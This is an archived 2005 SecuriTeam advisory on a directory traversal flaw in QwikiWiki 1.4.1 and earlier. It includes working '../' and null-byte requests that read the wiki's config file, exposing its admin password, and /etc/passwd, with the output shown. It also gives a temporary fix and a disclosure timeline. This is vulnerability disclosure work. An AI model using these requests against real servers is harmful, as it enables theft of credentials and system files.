[UNIX] QWikiWiki Directory Traversal Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/05
- Previous message: SecuriTeam: "[UNIX] MyBB member.php SQL Injection"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 5 Jan 2005 16:17:20 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
QWikiWiki Directory Traversal Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.qwikiwiki.com/> QwikiWiki is driven by one core design goal:
simplicity. This design goal is codified into three key principles:
* Self Sufficiency: QwikiWiki requires only a web server and PHP
* Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box"
* Minimalist Featureset: QwikiWiki is not everything to everybody
QwikiWiki doesn't properly sanitize the 'page' parameter, allowing an
attacker to read any arbitrary file he desires, specifically the
configuration file of QwikiWiki, _config.php.
DETAILS
Vulnerable Systems:
* QwikiWiki version 1.4.1 and prior
Exploit:
If we want to read the password for QwikiWiki:
Request:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
Returns:
(looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'
We can also read any file the web server has permission to:
Request:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
Temporary Fix:
In file _wikiLib.php substitute:
function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}
With
function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~ return 'data/'. $page . $extension;
} else {
~ return '';
}
}
* Original formating lead to QWCreateDataPath? having a ? at the end,
making it harder to cut and paste (php error). Wrapped it in HTML and pre
tags.
Timeline:
01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
ADDITIONAL INFORMATION
The information has been provided by <mailto:madelman@iname.com>
Madelman.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] MyBB member.php SQL Injection"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|